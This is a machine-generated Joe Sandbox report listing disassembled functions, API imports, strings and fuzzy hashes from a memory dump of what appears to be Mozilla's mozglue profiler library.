!oi/, xrefs: 6C6B9663

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _dtest$?fromD@2@@std@@@D@std@@Decimal@blink@@String@U?$char_traits@V12@V?$allocator@V?$basic_string@
String ID: !oi/
API String ID: 1331236360-845032489
Opcode ID: ab987f61a3ebc2ad09455858779b35f07f1758d738bb85592ead1a2ea90a8366
Instruction ID: dd7da41d83a8cfff9cb9e0b0d23cf2b2f0c153736550759497e6ab33959b4711
Opcode Fuzzy Hash: ab987f61a3ebc2ad09455858779b35f07f1758d738bb85592ead1a2ea90a8366
Instruction Fuzzy Hash: AC118E70A00A059BC711DF39D81159BF7F4EF4B314F00C62DE8AAA7750EB30A169CB9A

Function 6C6BB4C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000002,?,6C660A40), ref: 6C6BB52D
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000,00000002,?,6C660A40), ref: 6C6BB556
__Init_thread_footer.LIBCMT ref: 6C6BB569

Strings

!oi/, xrefs: 6C6BB4CB

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: InfoInit_thread_footerProtectSystemVirtual
String ID: !oi/
API String ID: 1391590832-845032489
Opcode ID: a02707ab2044132a00fc326307ee69768fadf8f1c876362e54799266d5ffc72a
Instruction ID: 95c70d6579cd34e01e6d1a7854fbda2203c67edfbfdd5dafc59a07acae5c3074
Opcode Fuzzy Hash: a02707ab2044132a00fc326307ee69768fadf8f1c876362e54799266d5ffc72a
Instruction Fuzzy Hash: 66119031A006059FCB10DF5AD9C09AAB7F1FB8A318F040529E90997741D732B955CFAF

Function 6C693CF0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693D19
mozalloc_abort.MOZGLUE(?), ref: 6C693D6C

Strings

!oi/, xrefs: 6C693CFE
d, xrefs: 6C693D58

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: !oi/$d
API String ID: 3471241338-2356189006
Opcode ID: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction ID: ae81405fb39a1e9092750637fc88ed10a7b0fe2e72f912b9bd23e2162f856e3d
Opcode Fuzzy Hash: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction Fuzzy Hash: 8111C435E0468997DB008F6ACC644EDB7B5EF86318F458229DD4997622EB30A688C398

Function 6C66BF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C6B7A3F), ref: 6C66BF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C6B7A3F), ref: 6C66BF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C6B7A3F), ref: 6C66BF7E

Strings

ll, xrefs: 6C66BF84

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: ll
API String ID: 4279176481-422694604
Opcode ID: 9df5228b65a0eff3ddc44577ae6d394cb1355ee277eae887838cd46532bb6328
Instruction ID: acc39dd28e06e19247f79fe10d4894abeff6178b15d653ae20e437cdaa2bc3a2
Opcode Fuzzy Hash: 9df5228b65a0eff3ddc44577ae6d394cb1355ee277eae887838cd46532bb6328
Instruction Fuzzy Hash: 6611BF793016048FC729CF0CD599926FBF8FB59308355885DE98A8B754C731F800CB99

Function 6C6BAE70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6BAE85
EnterCriticalSection.KERNEL32(6C6DF770,?,6C67C034), ref: 6C6BAE96
LeaveCriticalSection.KERNEL32(6C6DF770,?,?,?,?,6C67C034), ref: 6C6BAEBD

Strings

!oi/, xrefs: 6C6BAE7B

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$CurrentEnterLeaveThread
String ID: !oi/
API String ID: 2351996187-845032489
Opcode ID: 1d474f4bfae8dc45b6f157117323fcca674f47e7594dd812694c97f452bd5357
Instruction ID: 419808d0c28f981a5a7ac0acc16cda5e716904ffd02a0d61c4a0cc2c6925fac5
Opcode Fuzzy Hash: 1d474f4bfae8dc45b6f157117323fcca674f47e7594dd812694c97f452bd5357
Instruction Fuzzy Hash: 93F068B5E002199BCF009F69D88999BBBB9EF89255B010419E505D7301D731F805C7E9

Function 6C69F410 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F440
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F44D
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F472
GetCurrentThreadId.KERNEL32 ref: 6C69F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F491
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F4A8

Part of subcall function 6C69F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C69F09B
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C69F0AC
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C69F0BE

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C69F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F561
GetCurrentThreadId.KERNEL32 ref: 6C69F577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F585
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C69F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C69F3A8
!oi/, xrefs: 6C69F07C, 6C69F1BA, 6C69F32A, 6C69F41A
[I %d/%d] profiler_resume, xrefs: 6C69F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C69F56A

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Current$ExclusiveLockThread$Timegetenv$AcquireProcessReleaseStampV01@@Value@mozilla@@_getpid$?profiler_time@baseprofiler@mozilla@@Init_thread_footerNow@Stamp@mozilla@@TerminateV12@_
String ID: !oi/$[D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 200552284-979565733
Opcode ID: 1a99f164e1587aae28f5994a0890053ec15537a81531a945be9e96cdafba0ecc
Instruction ID: 599f6f97c12b80808a5025993e61484c0e4a6f50c9ccaa6a1376c89684aa386f
Opcode Fuzzy Hash: 1a99f164e1587aae28f5994a0890053ec15537a81531a945be9e96cdafba0ecc
Instruction Fuzzy Hash: 5AF09031610215CFCB109F6A988439977B4EF8A76AF450619EA1193783DB307809CBEF

Function 6C69EF80 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EFB0
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EFBD
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EFE1
GetCurrentThreadId.KERNEL32 ref: 6C69EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F000
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F02F

Part of subcall function 6C69F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C69F09B
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C69F0AC
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C69F0BE

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Strings

!oi/, xrefs: 6C69EF8A
[I %d/%d] profiler_pause, xrefs: 6C69F008
[I %d/%d] profiler_stop, xrefs: 6C69EED7

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentTimegetenv$ExclusiveLockProcessStampThreadV01@@Value@mozilla@@$?profiler_time@baseprofiler@mozilla@@AcquireInit_thread_footerNow@ReleaseStamp@mozilla@@TerminateV12@__getpid
String ID: !oi/$[I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 2885066631-1550922770
Opcode ID: 364346a6d924d935f03bc7a46f6ac22cf8f33f0d51836709d1189e1c201b81e6
Instruction ID: 3dd81b038b7a2337f2e9b521f0d1b4ae5e6e5752b0f0d607c7d9d9f77f62a897
Opcode Fuzzy Hash: 364346a6d924d935f03bc7a46f6ac22cf8f33f0d51836709d1189e1c201b81e6
Instruction Fuzzy Hash: 0AF0B431600206CFDB00DF67D884398B7B4EF8A35EF010519E91183A82DB343449CBAF

Function 6C6ACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDA4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD158
Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDC4

Part of subcall function 6C6A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C6B15FC,?,?,?,?,6C6B15FC,?), ref: 6C6A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACECC

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

Part of subcall function 6C69CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C6ACEEA,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000), ref: 6C69CB57
Part of subcall function 6C69CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C69CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C6ACEEA,?,?), ref: 6C69CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD058

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction ID: 7f1d13926e85e4132c53c4f335a1232c33e1e35778ffcb01c90bc5c865becd05
Opcode Fuzzy Hash: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction Fuzzy Hash: 2FD16F71A04B469FD708CF28C480B99F7E1BF89308F01866DD95987712EB31B9A6CBC5

Function 6C694F70 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 165stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C69501B
memcpy.VCRUNTIME140(?,?,00000200), ref: 6C69515B

Strings

..., xrefs: 6C69513A
!oi/, xrefs: 6C694F81

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: !oi/$...
API String ID: 3412268980-3952408086
Opcode ID: 564cfa1f324f86fbb2d63454f439d0b8b831914aa7a60b85750ed8f388f31303
Instruction ID: ee8d6d13bfaaff6e5e65d6bee720ebedcd03f55941e022c5ccf5e82a58364dbb
Opcode Fuzzy Hash: 564cfa1f324f86fbb2d63454f439d0b8b831914aa7a60b85750ed8f388f31303
Instruction Fuzzy Hash: D361B070A083428FC700CF18D580A9BB7E1AF9930CF048A6DE59997741E371E919CB9B

Function 6C675C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C675D40
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67
__aulldiv.LIBCMT ref: 6C675DB4
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction ID: d33b4dba655bb99291579b5ea7e7ad6204471695016f9aad492d62ec9b1b7e3c
Opcode Fuzzy Hash: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction Fuzzy Hash: 89518F71E001698FCF08CF69C994AAEBBF1FB85304F198A5DD811A7B50C7307945CB99

Function 6C664C00 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C664C2F
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C664C82
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C664C89

Strings

MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6656E3
GeckoMain, xrefs: 6C665554, 6C6655D5
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C665749
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6657AE
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C665717
MOZ_BASE_PROFILER_HELP, xrefs: 6C665511
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6657C5
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6654A3
MOZ_PROFILER_STARTUP, xrefs: 6C6655E1
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C66548D
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C665724
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C665766
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C6650F3, 6C665121, 6C66513C
!oi/, xrefs: 6C664C0F, 6C66544F
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C665791
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6654B9

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID: !oi/$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$MOZ_RELEASE_ASSERT(mNode)$[I %d/%d] - MOZ_PROFILER_STARTUP is set
API String ID: 2801635615-1968443524
Opcode ID: cc4b948ee4ae29103d3151b5fc3c7afabd165f4bc05cad590819915cbd7bbd01
Instruction ID: 0647646f86b5330a7fc5a5cc7f60a892ec6e36e451c1f381523a20b9827584dd
Opcode Fuzzy Hash: cc4b948ee4ae29103d3151b5fc3c7afabd165f4bc05cad590819915cbd7bbd01
Instruction Fuzzy Hash: 7441B5316052118BD708CF2BC4A076977E1AF82728F28861CD8718BED1CBB1E441CB8E

Function 6C68FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?), ref: 6C68FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?), ref: 6C68FFF5
free.MOZGLUE(?,?,?,?,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?), ref: 6C69001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?), ref: 6C69002A

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 6e5aa073797d7d876b8773fd94e27cf2afcdcd09d44f6c7b0746d2ffe094adce
Instruction ID: ab8644dd52d9a0ae1aaae7a340cb17cfe20e0a68e28e3f1cbf24ed06b9935492
Opcode Fuzzy Hash: 6e5aa073797d7d876b8773fd94e27cf2afcdcd09d44f6c7b0746d2ffe094adce
Instruction Fuzzy Hash: 5021D8B2B002155BC7189E789C944AFB7BAFB853287250738D525D7780EB719D0186EA

Function 6C6C2780 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 82COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00020000,?,?), ref: 6C6C27DA
memset.VCRUNTIME140(00000000,000000FF,00020000,?,?,?,?,?), ref: 6C6C27EC

Strings

!oi/, xrefs: 6C6C278D
Z'll, xrefs: 6C6C27B2

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: !oi/$Z'll
API String ID: 2221118986-1274725018
Opcode ID: 338a90737227bc49d0cde4e724f944cc7c1ac3d156b0321e9b9186d7b0558a9d
Instruction ID: 8fdbedf470d39098aa3bb7674e79696257a08345033873fb63bfce26841ffb64
Opcode Fuzzy Hash: 338a90737227bc49d0cde4e724f944cc7c1ac3d156b0321e9b9186d7b0558a9d
Instruction Fuzzy Hash: E421D1B1B01105ABCB04CE68DC84BDB7BA9EF48354F084439ED09AF345D734986487E9

Function 6C66B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C66B4F5
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B502
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B542
free.MOZGLUE(?), ref: 6C66B578

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction ID: f8c6926e3cb4d4af112b9870dfa7403b397d49b61d05b120268176a51f4f12c6
